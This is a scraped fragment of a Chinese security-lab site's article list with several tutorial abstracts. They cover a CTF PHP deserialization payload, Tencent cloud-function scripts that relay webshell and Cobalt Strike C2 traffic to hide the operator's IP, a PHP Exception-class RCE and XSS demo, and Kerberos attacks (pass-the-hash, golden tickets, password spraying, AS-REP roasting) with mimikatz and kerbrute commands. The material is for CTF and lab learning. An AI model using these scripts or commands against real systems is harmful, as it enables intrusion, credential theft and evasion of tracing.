urlencode(serialize($a));\r\n\r\n得到部分payload:\r\n\r\nO%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A\n\r\n将上方的payload传入DASCTF参数即可\r\n\r\n这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下:\r\n\r\necho new $this-\u003Etmp1($this-\u003Etmp2);\r\n\r\n因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php\r\n\r\n?DAS=DirectoryIterator&CTF=glob:\u002F\u002Fflag*\r\n\r\n得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件\r\n\r\n?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D\n\r\n最终再将浏览器的回显进行base64解码即可得到flag",pic:"https:\u002F\u002Flxxx-markdown.oss-cn-beijing.aliyuncs.com\u002Fpictures\u002F20211024165405.png",openTime:"2021-11-02T15:20:59+08:00",viewsNum:38752},{id:"20211026150931",type:f,title:"云函数(变相代理池)的三种常见利用",abstract:"前言\r\n\r\n之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。\r\n\r\n云函数\r\n\r\n云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性:\r\n\r\n\r\n多出口\r\n\r\n\r\n调用时创建执行\r\n\r\n\r\n无需服务器VPS承载\r\n\r\n\r\n防溯源连接Webshell\r\n\r\n之前最好的是某安全攻防实验室公众号发布了一篇\u003C论如何防溯源连接Webshell\u003E,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式\r\n\r\n云函数创建\r\n\r\n选择自定义创建\r\n\r\n\r\n函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel\r\n\r\n#!\u002Fusr\u002Fbin\u002Fenv \r\n# -*- coding:utf-8 -*-\r\nimport requests\r\nimport json\r\nfrom urllib.parse import urlsplit \r\ndef geturl(urlstr):\r\n        jurlstr = json.dumps(urlstr)\r\n        dict_url = json.loads(jurlstr)\r\n        return dict_url['u']\r\ndef main_handler(event, context):\r\n        url = geturl(event['queryString'])\r\n        host = urlsplit(url).netloc\r\n        postdata = event['body']\r\n        headers=event['headers']\r\n        headers[\"HOST\"] = host \r\n        resp=requests.post(url,data=postdata,headers=headers,verify=False)\r\n        response={\r\n        \"isBase64Encoded\": False,\r\n        \"statusCode\": 200,\r\n        \"headers\": {'Content-Type': 'text\u002Fhtml;charset='+resp.apparent_encoding},\r\n        \"body\": resp.text\r\n   }\r\n        return response\r\n \r\n\r\n\r\n在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。\r\n\r\n\r\n\r\n利用\r\n\r\n我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址 https:\u002F\u002Fservice-dafetmeh-xxxx\u002Frelease\u002FWebshell_Bypass?u=http:\u002F\u002Fxxxx\u002Fwebshell.php \r\n\r\n\r\n\r\n然后vps端通过监控日志查看访问webshell的ip地址\r\n\r\n\r\n\r\n 通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变) \r\n\r\n\r\n\r\n通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。 \r\n\r\n注入\u002F目录爆破爆破防Ban\r\n\r\n云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban\r\n\r\n云函数创建\r\n\r\n这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式) 项目地址:https:\u002F\u002Fgithub.com\u002Fhashsecteam\u002Fscf-proxy \r\n\r\n下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用 还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去\r\n\r\n\r\n 触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址 \r\n\r\n\r\n利用\r\n\r\n首先客户端开启监听 .\u002Fclient.exe -port 10086 云函数api地址\r\n\r\n\r\n 此时再通过dirsearch设置http代理的方式爆破VPS的目录 \r\n\r\n\r\n\r\n查看access_log可以看到爆破的ip地址分布\r\n\r\n\r\n 由于此次选择的是广州地区,于是访问的ip基本都是来自广州 \r\n\r\n\r\n\r\n也可以代理访问https网站\r\n\r\n\r\n 由此可以实现爆破目录以及Sqlmap的爆破不被Ban\r\n\r\nC2隐藏\r\n\r\n通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP\u002FHTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP\u002FHTTPS请求,该方法学习自狼组北美第一突破手师傅 \r\n\r\n云函数创建\r\n\r\n与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下\r\n\r\n# -*- coding: utf8 -*-\r\nimport json,requests,base64\r\ndef main_handler(event, context):\r\n    C2='http:\u002F\u002F\u003CC2服务器地址\u003E' # 这里可以使用 HTTP、HTTPS~下角标~\r\n    path=event['path']\r\n    headers=event['headers']\r\n    print(event)\r\n    if event['httpMethod'] == 'GET' :\r\n        resp=requests.get(C2+path,headers=headers,verify=False) \r\n    else:\r\n        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)\r\n        print(resp.headers)\r\n        print(resp.content)\r\n    response={\r\n        \"isBase64Encoded\": True,\r\n        \"statusCode\": resp.status_code,\r\n        \"headers\": dict(resp.headers),\r\n        \"body\": str(base64.b64encode(resp.content))[2:-1]\r\n   }\r\n    return response\r\n\r\nCs可以定制Profile来更加隐匿流量这里使用如下的Profile\r\n\r\nset sample_name \"kris_abao\";\r\nset sleeptime \"3000\";\r\nset jitter   \"0\";\r\nset maxdns   \"255\";\r\nset useragent \"Mozilla\u002F5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\u002F5.0)\";\r\nhttp-get {\r\n   set uri \"\u002Fapi\u002Fgetit\";\r\n   client {\r\n       header \"Accept\" \"*\u002F*\";\r\n       metadata {\r\n           base64;\r\n           prepend \"SESSIONID=\";\r\n           header \"Cookie\";\r\n       }\r\n   }\r\n   server {\r\n       header \"Content-Type\" \"application\u002Focsp-response\";\r\n       header \"content-transfer-encoding\" \"binary\";\r\n       header \"Server\" \"Nodejs\";\r\n       output {\r\n           base64;\r\n           print;\r\n       }\r\n   }\r\n}\r\nhttp-stager {  \r\n   set uri_x86 \"\u002Fvue.min.js\";\r\n   set uri_x64 \"\u002Fbootstrap-2.min.js\";\r\n}\r\nhttp-post {\r\n   set uri \"\u002Fapi\u002Fpostit\";\r\n   client {\r\n       header \"Accept\" \"*\u002F*\";\r\n       id {\r\n           base64;\r\n           prepend \"JSESSION=\";\r\n           header \"Cookie\";\r\n       }\r\n       output {\r\n           base64;\r\n           print;\r\n       }\r\n   }\r\n   server {\r\n       header \"Content-Type\" \"application\u002Focsp-response\";\r\n       header \"content-transfer-encoding\" \"binary\";\r\n       header \"Connection\" \"keep-alive\";\r\n       output {\r\n           base64;\r\n           print;\r\n       }\r\n   }\r\n}\r\n \r\n\r\n创建完后放到将api.profile放到服务端Cs上可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子\r\n\r\n\r\n\r\n\r\n监听设置 生成木马,点击后上线 公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP 在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。",pic:"\u002Fcloud-image\u002Fnews\u002F6fe6cbe3-e592-4541-be70-7c5c2301f1f6.jpg",openTime:"2021-10-26T15:11:44+08:00",viewsNum:39270},{id:"20211015142618",type:f,title:"连异常报错也能拿到flag?",abstract:"https:\u002F\u002Fwww.yijinglab.com\u002Fpages\u002FCTFLaboratory.jsp\r\n前言:\r\n\r\n本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。\r\n\r\n脸滚键盘打出来的函数也能执行?\r\n\r\n没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。\r\n\r\n比如,有如下PHP代码:\r\n\r\n\u003C?php\r\ntian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗?\r\n\r\n当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。\r\n\r\n\r\n\r\n那么有没有办法让PHP正常执行这个程序呢?\r\n\r\n有,那必须有,甚至只需要一行\r\n\r\n\u003C?php\r\nfunction tian(){}\r\ntian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。\r\n\r\n这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢?\r\n\r\n从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。\r\n\r\n举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作:\r\n\r\n举个最常见的函数:\r\n\r\n\u003C?php\r\n$sql = mysqli_connect(phpinfo(),\"root\",\"root\",\"mysql\");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。\r\n\r\n\r\n至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢?\r\n\r\n为什么我的对象打印不出来?\r\n\r\n在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下:\r\n\r\n\u003C?php\r\nclass tian{\r\n    public $id = \"Lxxx\";\r\n    function getid()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n}\r\n \r\necho new tian();这个代码报错如下:\r\n\r\n\r\n这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。\r\n\r\n因此将上方程序进行修改,修改后的代码如下:\r\n\r\n\u003C?php\r\nclass tian{\r\n    public $id = \"Lxxx\";\r\n    function getid()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n    function __toString()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n}\r\n \r\necho new tian();这个时候,程序就可以正常执行了\r\n\r\n\r\n这个时候我们修改一下代码:\r\n\r\n\u003C?php\r\nclass tian{\r\n    public $id;\r\n    function __construct($id)\r\n   {\r\n        $this-\u003Eid = $id;\r\n   }\r\n    function __toString()\r\n   {\r\n        return $this-\u003Eid;\r\n   }\r\n}\r\necho new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码\r\n\r\n代码执行如下:\r\n\r\n\r\n程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo()\r\n\r\n那么将这两个特性结合起来有什么用呢?\r\n\r\n下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。\r\n\r\n表演一个异常报错实现RCE\r\n\r\n题目代码如下:\r\n\r\n\u003C?php\r\n\u002F\u002Fflag in flag.php\r\nhighlight_file(__FILE__);\r\nif ( isset($_GET['a']) && isset($_GET['b']))\r\n{\r\n    $a = $_GET['a'];\r\n    $b = $_GET['b'];\r\n    eval(\"echo new $a($b());\");\r\n}关键代码为:eval(\"echo new $a($b());\");\r\n\r\n首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类\r\n\r\n我们先测试一下,传payload:?a=mysqli&b=phpinfo\r\n\r\n\r\n这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。\r\n\r\n因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。\r\n\r\n其中PHP官方手册对这个类的__toString()描述如下:\r\n\r\n\r\n这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢?\r\n\r\n\u003C?php\r\necho new Exception(system(\"whoami\")());\r\n\r\n\r\n那就先执行命令,然后将执行命令的结果作为参数传给Exception\r\n\r\n所以传payload:?a=exception&b=system(\"whoami\")\r\n\r\n\r\n这个即可RCE\r\n\r\n除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。\r\n\r\n举个例子:\r\n\r\n\u003C?php\r\necho new Exception(\"$_GET[1]\");这个时候传:?1=\u003Cscript\u003Ealert(\"XSS\");\u003C\u002Fscript\u003E\r\n\r\n是可以XSS\r\n\r\n\r\n当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。",pic:"\u002Fcloud-image\u002Fnews\u002Fb4cfde57-3805-4a2d-bce4-29b18e93fd6d.png",openTime:"2021-10-15T14:26:40+08:00",viewsNum:1835},{id:"20211013103016",type:f,title:"kerberos学习小结",abstract:"文章有点长,请准备10-15分钟的时间阅读哦\r\n\r\nhttps:\u002F\u002Fwww.yijinglab.com\u002Fexpc.do?ec=ECID172.19.104.182014040817061200001\r\n概念\r\n\r\n| DC | 域控 || KDC | 密钥分发中心,域控担任 || AD | 活动目录,包含与用户数据库 || AS | Kerberos认证服务 || TGT | AS分发,TGT认证权证 || TGS | 票据授予服务 || ST | ST服务票据,由TGS服务发送 |\r\n\r\n\r\n\r\nkrbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机\r\n\r\n\r\nwindows密码hash图解如下\r\n\r\n\r\nAS-REQ\r\n\r\nAS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息\r\n\r\nwireshark抓包分析\r\n\r\nreq-body详细请求包\r\n\r\n\r\npvno:kerberos版本号,这里为5\r\n \r\nmsg-type:消息类型,AS_REQ对应的是krb-as-req(10)\r\n \r\npadata:主要是一些认证信息,每个认证消息有type和value\r\n \r\n  PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递\r\n \r\n    padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)\r\n    padata-value:padata的值\r\n      etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)\r\n      cipher:密钥\r\n \r\n  PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC\r\n \r\n    padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)\r\n      padata-value:padata的值\r\n        include-PAC:是否包含PAC,这里为True\r\nreq-body:请求body\r\n \r\n  padding:填充,这里为0\r\n \r\n  kdc-options:用于与KDC预定一些选项设置\r\n \r\n  cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value\r\n \r\n    name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)\r\n    cname-string:名字,也就是请求的用户名\r\n      CNameString:请求的用户名,这里为mars2\r\n \r\n  realm:域名,这里为DRUNKMARS0\r\n \r\n  sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt\r\n    SNameString:这里是用户名 krbtgt\r\n    SNameString:这里是域名 DRUNKMARS0\r\n  till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具\r\n \r\n  rtime:到期时间\r\n \r\n  nonce:随机生成的一个数,kekeo\u002Fmimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具\r\n \r\n  etype:加密类型,这里有6个items\r\n \r\n  address:客户端的请求地址,也就是客户端的主机名\r\n \r\n    HostAddress MESSI-PC\u003C20\u003E\r\n      ddr-type:地址类型,这里是nETBIOS(20)\r\n      NetBIOS Name:MESSI-PC\u003C20\u003E (Server service)net config workstation 查看域内信息\r\n\r\n\r\nAS-REQ过程中的攻击方式\r\n\r\nhash传递\r\n\r\nmsf进行hash传递\r\n\r\n\r\n只适用于域环境,并且目标主机需要安装 KB2871997补丁\r\n\r\nmimikatz进行hash传递\r\n\r\n这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下\r\n\r\nmimikatz log privilege::debug sekurlsa::ekeys\r\n\r\n\r\n抓取sid为500的administrator的ntlm哈希\r\n\r\nprivilege::debug\r\n \r\nsekurlsa::logonpasswords\r\n\r\n\r\n执行命令\r\n\r\nsekurlsa::pth \u002Fuser:administrator \u002Fdomain:192.168.10.5 \u002Fntlm:7c64e7ebf46b9515c56b2dd522d21c1c\r\n\r\n\r\nKB2871997\r\n\r\n安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash\r\n\r\nPTK(pass the key)\r\n\r\n获取aes-key:\r\n\r\nprivilege::debug\r\n \r\nsekurlsa::ekeys\r\n\r\n\r\n注入aes-key:\r\n\r\nsekurlsa::pth \u002Fuser:Administrator \u002Fdomain:Drunkmars.com \u002Faes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2\r\n\r\n\r\n域内用户枚举\r\n\r\n使用kerbrute工具:\r\n\r\nhttps:\u002F\u002Fgithub.com\u002Fropnop\u002Fkerbrute\u002Freleases\u002Fdownload\u002Fv1.0.3\u002Fkerbrute_windows_amd64.exe前提需要DC需要开启kerberos 88端口\r\n\r\n\r\n准备用户名保存为txt\r\n\r\n\r\n使用以下命令\r\n\r\nkerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt\r\n\r\n\r\n使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码:\r\n\r\nKDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)\r\n\r\nKDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)\r\n\r\nKDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)\r\n\r\n在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在\r\n\r\n\r\n密码喷洒\r\n\r\n当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能\r\n\r\n使用以下命令\r\n\r\nkerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..\r\n\r\n\r\n密码同样存在三种错误代码\r\n\r\nKDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)\r\n\r\nKDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)\r\n\r\nKDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)\r\n\r\n同样在DC抓包,有4个UNKNOWN,1个REQUIRED\r\n\r\n\r\nAS-REP\r\n\r\nAS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后T\n\r\n\r\n在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥\r\n\r\nAS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换\r\n\r\nAS-REP中的攻击方式\r\n\r\n黄金票据\r\n\r\n使用mimikatz\r\n\r\n先获取krbtgt hash\r\n\r\nDC执行\r\n\r\nmimikatz.exe \"lsadump::dcsync \u002Fdomain:Drunkmars.com \u002Fuser:krbtgt\"\r\n\r\n\r\n获得如下信息\r\n\r\nsid:S-1-5-21-652679085-3170934373-4288938398-502\r\n \r\nntlm hash:c1833c0783cfd81d3548dd89b017c99a\r\n \r\naes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50伪造administrator执行(aes256)生成gold.kirbi\r\n\r\nmimikatz \"kerberos::golden \u002Fdomain:Drunkmars.com \u002Fsid:S-1-5-21-652679085-3170934373-4288938398-502 \u002Faes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 \u002Fuser:administrator \u002Fticket:gold.kirbi\"\r\n\r\n\r\n伪造administrator执行(krbtgt hash)生成gold.kirbi\r\n\r\nmimikatz \"kerberos::golden \u002Fdomain:Drunkmars.com \u002Fsid:S-1-5-21-652679085-3170934373-4288938398-502 \u002Fkrbtgt:c1833c0783cfd81d3548dd89b017c99a \u002Fuser:administrator \u002Fticket:gold.kirbi\"\r\n\r\n\r\n导入golden.kirbi,执行命令\r\n\r\nkerberos::ptt C:\\\\Users\\\\mars2\\\\Desktop\\\\gold.kirbi查看本地缓存,发现凭据成功导入\r\n\r\nkerberos::list\r\n\r\n\r\n打开新的cmd,用klist查看凭证\r\n\r\n\r\ndir连接过去,注意这里必须要主机名,不能够用IP连接\r\n\r\n这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问\r\n\r\n\r\n看下权限,处于Domain Users组\r\n\r\n\r\n查看所有组\r\n\r\nnet group \u002Fdo\r\n\r\n\r\n查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看\r\n\r\nnet group \"Domain Controllers\" \u002Fdo\r\n\r\n\r\n删除凭据\r\n\r\nkerberos::purge\r\n\r\n\r\n使用impacket\r\n\r\n使用kali,不在域内需要把dns改向域控\r\n\r\n先生成票据administrator.ccache\r\n\r\npython3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator导入票据\r\n\r\nexport KRB5CCNAME=administrator.ccache然后访问域控\r\n\r\npython3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com\r\n\r\nAS-REP Roasting\r\n\r\n在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了\"Do not require Kerberos preauthentication\",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成\"Kerberos 5 AS-REP etype 23\"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击\r\n\r\n\r\n默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解\r\n\r\n\r\n使用Empire下的powerview.ps1查找域中设置了\"不需要kerberos预认证\"的用户\r\n\r\nImport-Module .\\powerview.ps1\r\n \r\nGet-DomainUser -PreauthNotRequired\r\n\r\n\r\n使用ASREPRoast.ps1获取AS-REP返回的hash\r\n\r\nImport-Module .\\ASREPRoast.ps1\r\n \r\nGet-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接\r\n\r\nhashcat -m 18200 hash.txt pass.txt --force\r\n\r\nTGS-REQ\r\n\r\n经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2P\n\r\nTGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息\r\n\r\n\r\nTGS-REP\r\n\r\nTGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。\r\n\r\n在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。\r\n\r\n最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据)\r\n\r\n\r\nenc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。\r\n\r\nTGS-REP过程中的攻击方式\r\n\r\n何为SPN\r\n\r\nSPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。\r\n\r\nKerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerber\n\r\n下面通过一个例子来说明SPN的作用:\r\n\r\n当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。\r\n\r\nSPN分为两种类型:\r\n\r\n1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST\u002F主机名和 HOST\u002F主机名.Drunkmars.com\r\n\r\n2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下\r\n\r\n查看当前域内所有的SPN:\r\n\r\nsetspn -Q \\* \\*查看指定域Drunkmars.com注册的SPN:\r\n\r\nsetspn -T Drunkmars.com -Q \\* \\*如果指定域不存在,则默认切换到查找本域的SPN\r\n\r\n查找本域内重复的SPN:\r\n\r\nsetspn -X删除指定SPN:\r\n\r\nsetspn -D MySQL\u002Fwin7.Drunkmars.com:1433\u002FMSSQL hack查找指定用户\u002F主机名注册的SPN:\r\n\r\nsetspn -L 